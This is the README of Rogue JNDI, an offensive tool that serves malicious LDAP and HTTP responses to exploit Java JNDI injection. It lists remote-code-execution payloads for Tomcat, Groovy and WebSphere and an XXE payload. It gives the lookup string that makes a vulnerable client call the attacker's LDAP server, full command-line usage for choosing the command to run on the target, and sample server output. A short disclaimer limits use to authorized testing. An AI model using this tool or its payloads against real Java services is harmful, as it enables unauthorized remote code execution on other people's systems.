Rogue JNDI
A malicious LDAP server for JNDI injection attacks.
Description
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");It will initiate a connection from the vulnerable client to the local LDAP server. Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
Motivation
In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of ObjectFactories.
Supported payloads
- RemoteReference.java - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
- Tomcat.java - leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory
- Groovy.java - leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
- WebSphere1.java - leads to OOB XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
- WebSphere2.java - leads to RCE via classpath manipulation in com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
Usage
$ java -jar target/RogueJndi-1.0.jar -h
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Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c).
As an alternative to the "-c" option, you can modify the ExportObject.java file by putting java code you want to execute on the target server.
Example:
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
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Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Building
Java v1.7+ and Maven v3+ required
mvn package
Disclamer
This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack.
Special Thanks
- Alvaro Muñoz and Oleksandr Mirosh for the excellent whitepaper on JNDI attacks
- @zerothoughts for the inspirational spring-jndi repository
- Moritz Bechler for the eminent marshallsec research
- Orange Tsai and Welk1n for the Apache + Groovy gadget
Links
- An article about Exploiting JNDI Injections in Java in the Veracode Blog
- How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM
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